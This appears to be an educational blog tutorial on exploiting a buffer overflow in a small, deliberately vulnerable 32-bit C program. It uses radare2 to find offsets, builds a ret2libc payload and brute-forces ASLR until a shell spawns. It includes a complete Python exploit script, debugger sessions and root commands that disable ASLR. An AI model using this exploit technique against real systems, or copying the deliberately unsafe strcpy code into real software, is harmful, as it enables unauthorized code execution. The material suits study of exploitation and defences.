Bypassing ASLR and DEP for 32-Bit Binaries With r2
exploitation r2 radare2 reverse-engineering ret2libcThis post covers basic basics of bypassing ASLR and DEP with r2. For this, a vulnerable application, yolo.c
, is required:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void lol(char *b)
{
char buffer[1337];
strcpy(buffer, b);
}
int main(int argc, char **argv)
{
lol(argv[1]);
}
64-Bit vs 32-Bit Binaries
The issue here should be quite obvious - strcpy
blindly copies the user-controlled input buffer b
into buffer
which causes a buffer overflow. Since normally ASLR and DEP are enabled, the following things don’t just work out of the box:
- Providing shellcode via user input: DEP prevents executing this code and the application would just crash
- Using a library like
libc
and spawning a shell (e.g. usingret2libc
) because the start address of the library is randomized after each start of a process:
$ gcc yolo.c -o yolo_x64
$ ldd yolo_x64 | grep libc
libc.so.6 => /usr/lib/libc.so.6 (0x00007fe0def68000)
$ ldd yolo_x64 | grep libc
libc.so.6 => /usr/lib/libc.so.6 (0x00007fba1f038000) <-- much random
$ ldd yolo_x64 | grep libc
libc.so.6 => /usr/lib/libc.so.6 (0x00007f3d65b03000) <-- also here
$ ldd yolo_x64 | grep libc
libc.so.6 => /usr/lib/libc.so.6 (0x00007f584e180000) <-- here too
$ ldd yolo_x64 | grep libc
libc.so.6 => /usr/lib/libc.so.6 (0x00007fc4aee7c000) <-- :/
As seen above, the start address of libc
always has a random value. The ret2libc
technique would theoretically work in case an attacker is able to guess the start address of libc
. However, for 64-bit binaries the chance to guess this right is just too small. Because of this, this post covers 32-bit binaries where the chance to make a right guess is better:
$ gcc -fno-stack-protector -m32 yolo.c -o yolo
$ ldd yolo | grep libc
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cbb000)
$ ldd yolo | grep libc
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d43000) <-- not so random
$ ldd yolo | grep libc
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d18000)
$ ldd yolo | grep libc
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d7d000)
$ ldd yolo | grep libc
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cb0000)
The approach to guess the right start address is also called brute forcing ASLR. As indicated above, the address space for possible start addresses of the library is not that large anymore for a 32-bit binary:
$ ldd yolo | grep libc
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d8d000)
$ while true; do echo -ne "."; ldd yolo | grep libc | grep 0xf7d8d000; done
................................... libc.so.6 => /usr/lib32/libc.so.6 (0xf7d8d000)
.................................................................................................................................................................................................................................................................................................................................................. libc.so.6 => /usr/lib32/libc.so.6 (0xf7d8d000)
............................................................................................................... libc.so.6 => /usr/lib32/libc.so.6 (0xf7d8d000)
The same libc
start address was found after multiple re-executions. Therefore the value can be guessed by re-using a previously valid start address.
Please note that for this exercise, stack cookies are disabled while compiling the code (-fno-stack-protector
):
$ r2 yolo
-- Finnished a beer
[0x00001050]> i
file yolo
size 0x3c80
format elf
arch x86
bits 32
canary false <-- no cookies for you
nx true
os linux
pic true
relocs true
relro partial
Getting EIP Control
The first step to exploit this application is to get control over the EIP register. To determine the offset after which the EIP overwrite happens, a buffer with a pattern is being sent to the application using a Python script. The first version of this script just sends a large buffer to check whether the application really crashes:
#!/usr/bin/python2.7
print "A" * 2000
Now let’s debug the application with r2
:
$ r2 -d yolo
[0xf7f3e0b0]> ood `!python2.7 b.py`
[...]
[0xf7ef40b0]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41414141 code=1 ret=0
[0x41414141]> dr
eax = 0xff8a0317
ebx = 0x41414141
ecx = 0xff8a3000
edx = 0xff8a0add
esi = 0xf7ea7e24
edi = 0xf7ea7e24
esp = 0xff8a0860
ebp = 0x41414141
eip = 0x41414141
eflags = 0x00010282
oeax = 0xffffffff
The input caused the application to successfully overwrite its EIP register with “AAAA” (41414141
). Now repeat this step with a cyclic pattern to determine the correct offset for EIP control. For this, use ragg2 -P 2000
to create the pattern and modify the Python script to print the pattern:
$ r2 -d yolo
[0xf7f960b0]> ood `!python2.7 b.py`
[...]
[0xf7ef00b0]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x48415848 code=1 ret=0
[0x48415848]> wopO `dr eip`
1349
Therefore the EIP register gets overwritten after 1349 bytes.
ret2libc
To successfully leverage a return2libc exploit, the following things are required:
- Start address of
libc
: This will be brute-forced - The offset of the string
/bin/sh
in the specificlibc
version in use - The offset of the
system()
call - (The offset of
exit()
to prevent the application from crashing after the shell has exited)
The idea is to cause the application to use gadgets already present in its memory space to spawn a shell. Because no gadgets of the user input are in use, DEP won’t kick in. If everything works as expected, the application will call system(/bin/sh)
upon successful exploitation. The layout of the input buffer is as follows:
<Junk Byte> * 1349 (Offset)
<Address of system()> (new EIP)
<Address of exit()> (new return address)
<Address of /bin/sh string> (Argument for system())
The layout of this buffer ultimately causes a fake stack frame to be created in the memory of the application. After returning from the call to lol
, the program will execute system()
with /bin/sh
as parameter and exit()
as return address. Remember, on x86 arguments are pushed onto the stack in reverse order before calling a function.
Determining Offsets
The addresses and offsets mentioned above can be determined using r2
from a running debug session:
r2 -d yolo
[0xf7f040b0]> dcu main
Continue until 0x5660a1be using 1 bpsize
hit breakpoint at: 5660a1be
[0x5660a1be]> dmi
0xf7cdf000 0xf7cf8000 /usr/lib32/libc-2.28.so <-- start address of libc of this run
[0x5660a1be]> dmi libc system
1524 0x0003e8f0 0xf7d1d8f0 WEAK FUNC 55 system <-- offset of system()
[0x5660a1be]> dmi libc exit
150 0x000318e0 0xf7d108e0 GLOBAL FUNC 33 exit <-- offset of exit()
[0x5660a1be]> e search.in=dbg.maps <-- search in more segments
[0x5660a1be]> / /bin/sh <-- search for /bin/sh string
Searching 7 bytes in [0xffdb7000-0xffdd8000]
hits: 0
0xf7e5eaaa hit0_0 .b/strtod_l.c-c/bin/shexit 0canonica. <-- /bin/sh found
Therefore the values for the exploit to use are:
libc
start address:0xf7cdf000
(we just hope this values occurs again)system()
offset:0x0003e8f0
exit()
offset:0x000318e0
/bin/sh
offset:0x17FAAA
(0xf7e5eaaa
-0xf7cdf000
)
In case the correct libc
start address is guessed, all other values should then automatically fit too.
For debugging purposes: Always print the calculated addresses since bad characters like 0x00 or 0x0A in address values may corrupt the input buffer and prevent exploitation.
Putting the Exploit together
The developed exploit looks as follows:
#!/usr/bin/python2.7
import struct
import sys
EIP_OFFSET = 1349
libc_start = 0xf7cdf000
binsh_offset = 0x0017FAAA
system_offset = 0x0003e8f0
exit_offset = 0x000318e0
system_addr = libc_start + system_offset
exit_addr = libc_start + exit_offset
binsh_addr = libc_start + binsh_offset
PAYLOAD = ""
while len(PAYLOAD) < EIP_OFFSET:
PAYLOAD += "\x90" # NOP
PAYLOAD += struct.pack("<I",system_addr)
PAYLOAD += struct.pack("<I",exit_addr)
PAYLOAD += struct.pack("<I",binsh_addr)
sys.stdout.write(PAYLOAD)
To test it without ASLR in place and therefore without the need to brute force the libc
start address, temporarily disable ASLR on the system using a root shell:
# echo 0 > /proc/sys/kernel/randomize_va_space
This causes the start address to remain static and the first exploitation attempt should always succeed:
[0x565561be]> dmi
0xf7db0000 0xf7dc9000 /usr/lib32/libc-2.28.so <-- libc start address after disabling ASLR
[0xf7fd50b0]> ood `!python2.7 exploit.py` <-- running the exploit with static address above
[0xf7fd50b0]> dc
sh-5.0$ <-- :)
Now that this worked, enable ASLR again:
# echo 2 > /proc/sys/kernel/randomize_va_space
And run the exploit in an infinite loop until a shell gets spawned:
$ while true; do echo -ne "."; ./yolo $(python2.7 exploit.py); done
..........................................................................................................yolo: vfprintf.c:4157552864: l: Assertion `(size_t) done <= (size_t) INT_MAX' failed.
.........................................
sh-5.0$
ASLR and DEP have been successfully bypassed. The V!
view of r2
shows the addresses after being pushed on the stack:
Ok Bye.